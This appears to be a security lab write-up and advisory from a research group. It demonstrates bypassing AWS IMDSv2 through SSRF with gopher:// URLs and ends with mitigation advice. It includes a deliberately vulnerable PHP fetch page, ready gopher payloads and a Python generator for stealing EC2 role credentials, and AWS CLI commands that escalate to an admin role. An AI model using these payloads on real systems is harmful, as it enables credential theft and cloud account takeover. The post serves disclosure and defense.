Circumvent IMDSv2 using Gopher Protocol

McAiden Research Lab

TitleCircumvent IMDSv2 using Gopher Protocol
McAiden Vulnerability No.MIDA2025-0005
ProductAWS
Publish2025-04-25
ByMcAiden Research Lab

Introduction

In the ever-evolving landscape of cloud security, Amazon Web Services (AWS) has introduced several mechanisms to harden its infrastructure — and one of the most notable is the transition from IMDSv1 to IMDSv2. This new metadata service version was designed specifically to mitigate Server-Side Request Forgery (SSRF) attacks targeting EC2 instance metadata. But does it fully eliminate the threat?

In this post, we’ll explore how an attacker can still bypass IMDSv2 protections using the Gopher protocol — an often-overlooked SSRF vector that enables sending raw TCP requests. By chaining this technique with SSRF, we demonstrate how to extract AWS temporary credentials and escalate privileges inside the cloud environment.

IAM Roles for EC2

When building applications on AWS, developers often need to interact with other AWS services uploading files to S3, sending logs to CloudWatch, querying DynamoDB, or retrieving secrets from AWS Secrets Manager. Managing credentials for these services used to mean hardcoding access keys into configuration files or environment variables, a risky practice that could lead to accidental leaks or long-lived key exposure. IAM roles solve this problem elegantly.

By assigning an IAM role to an EC2 instance, AWS provides a secure, short-term credential to that instance via the metadata service — no keys embedded in code, no manual rotation, and no extra configuration. The application simply queries the metadata endpoint to get credentials that are scoped exactly to what it needs. If it only needs permission to write to a specific S3 bucket or publish metrics to CloudWatch, the IAM role can enforce that with fine-grained policies.

Example:

  • An EC2 instance with the role staff may have read-only access to S3
  • The credentials for that role are available at:

http://169.254.169.254/latest/meta-data/iam/security-credentials/staff

An attacker who can extract these credentials (e.g., via SSRF) can use them in AWS CLI or SDKs to act as that role. Common use cases for IAM roles are:

  • Web app uploads files to S3 using EC2 IAM role with s3:PutObject
  • Log processor sends metrics to CloudWatch
  • Application fetches secrets from Secrets Manager
  • Machine Learning model pulls training data from an internal S3 bucket
  • Data collector writes logs to OpenSearch or DynamoDB
  • Automation scripts call Lambda or Step Functions
  • Etc.

Instance Metadata Service (IMDS)

The Instance Metadata Service (IMDS) is a local HTTP service that runs on every EC2 instance, available at the non-routable IP address 169.254.169.254. Its purpose is to provide instance-specific information to applications running inside the EC2 environment. When queried, IMDS can return details such as:

  • The instance’s ID, region, and availability zone
  • The AMI ID and instance type
  • Attached security groups
  • And most importantly: temporary credentials for the IAM role assigned to the instance

These credentials are what allow applications on EC2 to access AWS services securely without storing long term access keys. Instead of embedding secrets in code, apps simply make a request to IMDS and receive short-lived tokens that AWS rotates automatically behind the scenes.

Initially, IMDS was implemented as IMDSv1, which allowed anyone inside the instance or anyone who could trick the instance into making a request (via SSRF, for example) to fetch metadata with a simple HTTP GET. This design became a critical security concern, especially after high-profile breaches exploited this exact vector.

To mitigate that risk, AWS introduced IMDSv2, which enforces an additional layer of protection. Before accessing metadata, the requester must first:

  • Send a PUT request to obtain a temporary session token
  • Include that token in a custom HTTP header (X-aws-ec2-metadata-token) in all subsequent requests

This effectively broke traditional SSRF payloads that relied on simple URL-based access unless the attacker had the ability to manipulate HTTP methods and headers, which is far less common. However, with protocol-level control like what the Gopher protocol allows attackers can still interact with IMDSv2 manually.

Testing Environment

To demonstrate this attack in a controlled environment, we’ll create a simple SSRF lab on AWS using the following setup:

  • EC2 Instance (Ubuntu): This will host a vulnerable PHP web application that allows user-controlled HTTP requests.
  • IAM Roles:
    • staff: A low-privileged role assigned to the EC2 instance.
    • admin: A higher-privileged role that can be assumed via sts:AssumeRole.

IMDSv2 Enabled: The EC2 instance is configured to require IMDSv2, meaning metadata access requires a valid token (this is the default behavior since November 2021)

The goal is to simulate a realistic cloud environment where an attacker can abuse SSRF to interact with the metadata service, steal credentials from the staff role, and escalate to the admin role all without breaching the system in the traditional sense.

The goal is to simulate a realistic cloud environment where an attacker can abuse SSRF to interact with the metadata service, steal credentials from the staff role, and escalate to the admin role all without breaching the system in the traditional sense.

In this lab, the Admin IAM role is the target role that the attacker wants to assume to escalate privileges and access protected resources like the flag in the S3 bucket. This section defines who (staff) is allowed to assume this role.

This screenshot is from the IAM policy editor in the AWS Console. It shows the policy named AssumeAdmin, which is attached to the staff IAM role. This means the staff role is explicitly allowed to call the sts:AssumeRole API on the Admin role.

In AWS, for one role to successfully assume another, two things must be in place:

1. The target role (Admin) must trust the source role via its trust policy

2. The source role (staff) must have permission to call sts:AssumeRole via its permissions policy

The Vulnerable SSRF Page

In this lab, we assume that the attacker has already discovered a server-side request forgery (SSRF) vulnerability in a simple PHP-based web application hosted on the EC2 instance. The vulnerable code is shown below:

$ cat /var/www/html/ssrf.php
<?php
error_reporting(E_ALL);
ini_set("display_errors", 1);

if (isset($_GET['url'])) {
    $url = $_GET['url'];
    echo "<h3>Fetching URL: $url</h3>";

    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $response = curl_exec($ch);

    if (curl_errno($ch)) {
        echo "<pre>Error: " . curl_error($ch) . "</pre>";
    } else {
        echo "<pre>" . htmlspecialchars($response) . "</pre>";
    }

    curl_close($ch);
} else {
    echo '<form method="GET">
            <label>Enter full URL (e.g. http://mcth.mcaiden.com):</label><br>
            <input type="text" name="url" size="100">
            <input type="submit" value="Fetch">
          </form>';
}
?>

This page allows users to input any URL, which the server then fetches using PHP’s curl functions and displays the response. Because there is no validation or sanitization of the url parameter, an attacker can supply internal URLs such as http://169.254.169.254/latest/meta-data/, the address used to access instance metadata in EC2.

In environments using IMDSv1, this would be a critical issue because the attacker could simply send a GET request to that URL and immediately retrieve sensitive metadata, including IAM role credentials.  However, in modern AWS setups where IMDSv2 is enabled (which is now the default), such direct GET requests are blocked. IMDSv2 requires a two-step process:

  • A PUT request to obtain a session token
  • A GET request with that token included in a special header

This additional layer thwarts most simple SSRF attacks. But the SSRF vulnerability on this page becomes dangerous again when the attacker leverages the Gopher protocol.

What Is Gopher and How Is It Used in SSRF?

The Gopher protocol allows sending raw TCP data to any host and port. While originally designed for a pre-HTTP document system, in SSRF exploitation, it becomes a powerful tool to bypass HTTP method restrictions.

With Gopher, an attacker can:

  • Craft raw HTTP requests (e.g. PUT, POST, or custom headers)
  • Send them to internal services like 169.254.169.254
  • Bypass protections like IMDSv2, which blocks simple GET requests

A typical Gopher URL looks like this:

gopher://169.254.169.254:80/_PUT%20/latest/api/token%20HTTP/1.1%0D%0AHost%3A%20169.254.169.254%0D%0AUser-Agent%3A%20curl/8.5.0%0D%0AAccept%3A%20%2A/%2A%0D%0AX-aws-ec2-metadata-token-ttl-seconds%3A%2021600%0D%0AConnection%3A%20close%0D%0A%0D%0A

Which is equivalent to the following HTTP request:

PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
User-Agent: curl/8.5.0
Accept: */*
X-aws-ec2-metadata-token-ttl-seconds: 21600
Connection: close

The following Python code helps generates Gopher URL:

from urllib.parse import quote

request_string = """PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
User-Agent: curl/8.5.0
Accept: */*
X-aws-ec2-metadata-token-ttl-seconds: 21600
Connection: close

"""

encoded_string = quote(request_string.replace('\n', '\r\n'))

print("gopher://169.254.169.254:80/_" + encoded_string)

Exploitation Path

An attacker leverages a Server-Side Request Forgery (SSRF) vulnerability to send Gopher-based requests to the EC2 instance metadata service (IMDSv2), bypassing the default protections that prevent simple metadata access.:

  1. Uses SSRF to send Gopher requests to IMDSv2
  2. Obtain a token via a PUT request
  3. Send a second GET request with the token to retrieve IAM credentials
  4. With credentials from the staff role, they call sts:AssumeRole to become admin
  5. Access the protected S3 bucket and retrieve the flag

1. & 2. Build the Gopher URL from the following HTTP request to obtain token:

PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
User-Agent: curl/8.5.0
Accept: */*
X-aws-ec2-metadata-token-ttl-seconds: 21600
Connection: close

To get Gopher link, run the Python script:

$ python gopher.py
[!] Getting token
gopher://169.254.169.254:80/_PUT%20/latest/api/token%20HTTP/1.1%0D%0AHost%3A%20169.254.169.254%0D%0AUser-Agent%3A%20curl/8.5.0%0D%0AAccept%3A%20%2A/%2A%0D%0AX-aws-ec2-metadata-token-ttl-seconds%3A%2021600%0D%0AConnection%3A%20close%0D%0A%0D%0A

The token was received successfully.

3. Use the Token to Get IAM Role Credentials

Send a second request — a GET — to retrieve the temporary IAM credentials associated with the EC2 instance’s role (e.g., staff).

GET /latest/meta-data/iam/security-credentials/staff HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token: <your_token_here>
Connection: close

Corresponding Gopher’s URL:

gopher://169.254.169.254:80/_GET%20/latest/meta-data/iam/security-credentials/staff%20HTTP/1.1%0D%0AHost%3A%20169.254.169.254%0D%0AX-aws-ec2-metadata-token%3A%<TOKEN>0D%0AConnection%3A%20close%0D%0A%0D%0A

Once the attacker obtains temporary credentials from the staff role, the next move is to escalate privileges by assuming the higher-privileged admin role.

This is possible because:

  • The staff role has an IAM policy that allows sts:AssumeRole on the admin role
  • The admin role’s trust policy explicitly allows assumption by the staff role

4. With credentials from the staff role, they call sts:AssumeRole to become admin

Then edit ~/.aws/credentials to include the Session Token:

[ssrf-temp]
aws_access_key_id = ASIAXXXXXXXX
aws_secret_access_key = XXXXXXXXXXXXXXX
aws_session_token = IQoJb3JpZ2luX2VjEIH//////////...

To enumerate information like account ID, the following command can be used:

# aws sts get-caller-identity --profile <profile_name>

aws sts get-caller-identity --profile ssrf-temp

To successfully escalate privileges using sts:AssumeRole, the attacker must know the exact name of the role they want to assume — such as Admin, PowerUser, or AdministratorAccess. AWS requires the full role ARN (Amazon Resource Name), which includes the role name:

arn:aws:iam::<account-id>:role/Admin

However, unless the attacker has permissions like iam:ListRoles (which is usually restricted), role names cannot be listed or discovered easily. This means the attacker must:

  • Guess common role names (e.g., Admin, admin, Administrator, SuperUser, etc.)
  • Brute-force potential names using trial and error
  • Find role names leaked in logs, Terraform plans, or error messages

In this case, assume we already know the IAM role name available, Admin. Using the stolen credentials and the enumerated account ID, the attacker can run the following command via AWS CLI to escalate the privilege to Admin role:

aws sts assume-role \
  --role-arn arn:aws:iam::<account-id>:role/Admin \
  --role-session-name attacker-lab \
  --profile ssrf-temp

If successful, AWS returns a new set of elevated temporary credentials this time scoped to the admin role. From here, the attacker can use these credentials to access sensitive services like S3, Secrets Manager, or even modify IAM roles, depending on what permissions admin holds.

This step completes the privilege escalation chain from a low-privileged EC2 role to full administrative control.

Edit the AWS credentials file (~/.aws/credentials) again and add:

[admin-escalated]
aws_access_key_id = <AccessKeyId from above>
aws_secret_access_key = <SecretAccessKey from above>
aws_session_token = <SessionToken from above>

The final AWS credentials should be like this:

Verify access by executing the following command:

aws sts get-caller-identity --profile admin-escalated

With the admin-escalated profile, you’re now operating as the high-privileged IAM role.

With the admin-escalated profile, the attacker is now operating under a high-privileged IAM role and depending on the permissions granted to this role, the potential impact can be severe. There are multiple possible impacts such as:

  • Read private S3 buckets containing logs, backups, environment configs, customer files, or credentials
  • Retrieve secrets from Secrets Manager or SSM Parameter Store
  • Dump database snapshots stored in S3
  • Start, stop, or terminate EC2 instances
  • Create or delete volumes, snapshots, or load balancers
  • Modify Lambda functions or cloud automation scripts
  • Create or modify IAM users, roles, and policies
  • Add new backdoor roles or access keys
  • Attach policies that grant full access

If the admin role has broad permissions (like many real-world setups), gaining access to it is often equivalent to full cloud account takeover.

Prevent IAM Privilege Escalation

Patch and Validate SSRF Entry Points

  • Always validate and sanitize user input that is used in URL fetchers or proxies
  • Use allowlists (e.g., only fetch from known safe domains)
  • Block internal IPs and protocols (e.g., 169.254.169.254, gopher://, ftp://, file://)

Frameworks like AWS WAF, CloudFront, or AppSec tools can help detect and block such attacks in production.

Enforce IMDSv2 with Strict Settings

Ensure that all EC2 instances require IMDSv2 only and that IMDSv1 is fully disabled. This ensures attackers can’t abuse simple GET requests via SSRF.

aws ec2 modify-instance-metadata-options \
  --instance-id i-xxxxxxxxxxxxxxxxx \
  --http-tokens required \
  --http-endpoint enabled

Restrict IAM Role Permissions (Least Privilege)

  • Avoid assigning overly permissive policies to roles (e.g., AdministratorAccess)
  • Audit IAM roles to ensure they only have the minimum necessary permissions
  • Avoid giving lower-privileged roles (staff) the ability to sts:AssumeRole into powerful roles (admin) unless absolutely necessary
  • Use IAM Access Analyzer to detect risky assumptions.

Harden IAM Trust Policies

IAM roles should not trust low-privileged roles unless there’s a clear business requirement. For example, bad trust:

{
  "Effect": "Allow",
  "Principal": {
    "AWS": "arn:aws:iam::123456789012:role/staff"
  },
  "Action": "sts:AssumeRole"
}

This says: “Allow anyone using the staff role to assume this role (e.g., Admin).”

If the staff role is compromised — for example, through SSRF — an attacker can escalate privileges with a few API calls

Best Practices to Harden Trust Policies

  • Avoid trusting broad or low-privileged roles
  • Do not let dev, staff, or automation roles assume roles with elevated access unless absolutely necessary. Use Condition blocks to scope assumptions Add restrictions based on:
    • aws:SourceArn (e.g., only a specific Lambda can assume the role)
    • aws:SourceIp (limit to IP ranges inside the org)
    • aws:PrincipalTag (e.g., only principals tagged env=prod can assume)
{
  "Effect": "Allow",
  "Principal": {
    "AWS": "arn:aws:iam::123456789012:role/app-prod"
  },
  "Action": "sts:AssumeRole",
  "Condition": {
    "StringEquals": {
      "aws:PrincipalTag/Environment": "production"
    }
  }
}

Summary

No single control will prevent this attack. SSRF-to-admin chains are only possible when multiple misconfigurations align like SSRF, overly permissive IAM roles, weak trust relationships, and exposed metadata endpoints. By applying defense in depth, you can break the chain at multiple points and stop attackers from escalating a minor bug into full cloud compromise.

Refs: